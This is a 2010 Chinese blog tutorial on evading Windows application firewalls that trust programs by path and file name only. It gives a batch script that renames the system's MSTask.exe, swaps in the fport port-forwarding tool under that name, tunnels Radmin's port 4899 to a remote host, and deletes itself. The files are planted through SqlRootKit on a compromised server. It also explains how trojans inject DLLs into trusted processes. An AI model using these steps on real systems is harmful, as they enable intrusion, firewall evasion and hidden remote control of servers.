通用方法突破防火墙
发布:admin | 发布时间: 2010年3月14日首先,我要介绍一下Windows系统特性,当一个程序运行时,它不能删除,但却能够改名!而当系统里的被保护程序遭到删除或损坏或改名时系统就会及时调用备份文件给予还原!我再讲讲防火墙,大家都知道许多防火墙的“应用程序规则”里一般默认就会让IE浏览器(iexplore.exe)、Outlook Express(msimn.exe)、lsass.exe、spoolsv.exe、MSTask.exe、winlogon.exe、services.exe、svchost.exe通过,而大多的防火墙认为只要是与规则里的路径及文件名相同就Pass!以这样的检测方法来决定是否放行,但它却完全没考虑到如果是别的文件替换的呢?——就相当于古装片里的易容术,易容后就认不得了!这就给了我们机会,我们可以利用这个BUG来欺骗防火墙来达到访外的目的!
小知识:其实现在大多木马采用的DLL插线程技术也就是利用了这个原理,它们首先隐蔽的开启一个认证放行的程序进程(如Iexplore.exe进程),接着把DLL型木马插入这个线程内,然后访外时就可轻松突破防火墙的限制了——因为防火墙是不会拦截已认证放行的程序的。
原理讲完了,我们现在讲讲该如何利用这个BUG了!这里我用虚拟机做实验,制造如下条件:
为了更符合现实,我给服务器安装了“天网防火墙”、Radmin(但由于防火墙指定了访问IP地址,所以没办法正常连接!),MSSQL SERVER、Serv-u。首先我们用常用的方法进行端口转发,看看防火墙有什么反应!
第一步,启用AngelShell Ver 1.0里的Fport(用来进行端口转发的服务端,几乎可以转发任何端口),然后在本地用FportClient(用来进行端口转发的客户端)监听好!
第二步,直接在CMDSHELL里运行“e:\www\fport.exe 4899 192.168.1.1 7788”,这时我们看到虚拟机里的“天网”对Fport马上进行了拦截。
看到了吧!由于Fport并不是认证放行的,防火墙马上就进行了拦截!OK,现在我们实行欺骗计划,看偶如何突破防火墙的!还是执行第一步,然后新建一个批处理,内容如下:
ren MSTask.exe MSTask1.exe
ren fport.exe MSTask.exe
MSTask.exe 4899 192.168.1.1 7788
Del %0
命名为go.bat,接着用SqlRootKit把“Fport.exe”和go.bat 一起copy到目标机子的c:\winnt\system32\(也就是MSTask所在的目录)在SqlRootKit里执行go.bat(注意如果要改MSTask.exe的名的话就需要有管理员权限)。
当FportClient出现“已经接受到远程计算机的连接!”时,用Radmin客户端连接本机的4899端口。
我们已经成功突破限制(由于防火墙没有限制本地连接4899端口,我们用Fport转发了它的端口,登录时等于本地连接,因此我们能够成功连接),这样一来,我们本不能逃过防火墙的Fport便变成了一个有“插线程”技术的端口转发工具了!
据我实验,国内的防火墙几乎无一例外的“拥有”这个BUG!虽然这个BUG不会带来什么大的危害,但总是给入侵者多了一个黑我们的机会!
文章如转载,请注明转载自:http://www.5iadmin.com/post/417.html
- 相关文章:
一段可以穿过防火墙的病毒程序 (2010-2-7 17:17:14)
绕过防火墙的方法 (2010-1-27 8:1:3)
让无盘也一样具有驱动防火墙 Ver 3.1 (2010-1-26 9:6:7)
防火墙的管理与维护 (2010-1-19 16:18:24)
发表评论
◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。